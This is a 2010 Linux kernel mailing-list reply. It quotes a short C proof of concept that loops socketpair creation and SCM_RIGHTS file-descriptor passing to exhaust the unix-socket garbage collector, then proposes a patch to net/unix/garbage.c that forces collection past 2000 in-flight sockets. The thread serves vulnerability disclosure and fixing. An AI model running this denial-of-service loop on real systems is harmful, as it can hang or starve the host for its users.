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SubjectRe: Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :(
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Le jeudi 25 novembre 2010 à 10:57 +0500, Марк Коренберг a écrit :
> #include <sys/socket.h>
> #include <sys/un.h>
>
> static int send_fd (int unix_fd, int fd)
> {
> struct msghdr msgh;
> struct cmsghdr *cmsg;
> char buf[CMSG_SPACE (sizeof (fd))];
>
> memset (&msgh, 0, sizeof (msgh));
> memset (buf, 0, sizeof (buf));
>
> msgh.msg_control = buf;
> msgh.msg_controllen = sizeof (buf);
>
> cmsg = CMSG_FIRSTHDR (&msgh);
> cmsg->cmsg_len = CMSG_LEN (sizeof (fd));
> cmsg->cmsg_level = SOL_SOCKET;
> cmsg->cmsg_type = SCM_RIGHTS;
>
> msgh.msg_controllen = cmsg->cmsg_len;
>
> memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd));
> return sendmsg (unix_fd, &msgh, 0);
> }
>
>
> int main ()
> {
> int fd[2], ff[2];
> int target;
>
> if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, fd)==-1)
> return 1;
>
> for (;;)
> {
> if (socketpair (PF_UNIX, SOCK_SEQPACKET, 0, ff)==-1)
> return 2;
> send_fd (ff[0], fd[0]);
> send_fd (ff[0], fd[1]);
> close (fd[1]);
> close (fd[0]);
> fd[0] = ff[0];
> fd[1] = ff[1];
> }
> }


Since you obviously read recent mails on this subject yesterday, why
dont you Cc netdev ?

There is a very easy way to protect against this actually.

A patch was posted yesterday, and need some adjustements.


diff --git a/net/unix/garbage.c b/net/unix/garbage.c
index c8df6fd..40df93d 100644
--- a/net/unix/garbage.c
+++ b/net/unix/garbage.c
@@ -259,9 +259,16 @@ static void inc_inflight_move_tail(struct unix_sock *u)
}

static bool gc_in_progress = false;
+#define UNIX_INFLIGHT_TRIGGER_GC 2000

void wait_for_unix_gc(void)
{
+ /*
+ * If number of inflight sockets is insane,
+ * force a garbage collect right now.
+ */
+ if (unix_tot_inflight > UNIX_INFLIGHT_TRIGGER_GC && !gc_in_progress)
+ unix_gc();
wait_event(unix_gc_wait, gc_in_progress == false);
}


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